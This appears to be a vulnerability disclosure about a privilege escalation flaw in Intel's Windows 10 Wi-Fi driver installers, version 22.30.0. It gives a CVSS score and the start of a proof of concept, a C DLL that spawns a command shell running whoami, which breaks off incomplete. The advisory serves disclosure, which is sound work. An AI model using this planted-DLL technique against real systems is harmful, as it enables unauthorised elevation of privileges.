Windows 10 Wi-Fi Drivers For Intel Wireless Adapters 22.30.0 Privilege Escalation

Windows 10 Wi-Fi Drivers For Intel Wireless Adapters version 22.30.0 suffer from a privilege escalation vulnerability.

MD5 | fddef28176fdfc853cd80a06bd172376

Hi @ll,

the executable installers version 22.30.0 (Latest), published 2/23/2021,
for the "Windows® 10 Wi-Fi Drivers for Intel® Wireless Adapters",
available from
are (SURPRISE!) vulnerable: they allow arbitrary code execution WITH
local escalation of privilege.

CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


0. Log on with an arbitrary user account.

1. Save the following source as poc.c in an arbitrary directory:

--- poc.c ---
// Copyright (C) 2004-2021, Stefan Kanthak <[email protected]>

#define STRICT
#define UNICODE

#include <windows.h>

const STARTUPINFO si = {sizeof(si)};

BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,
DWORD dwReason,
CONTEXT *lpContext)
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";

#if 0
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
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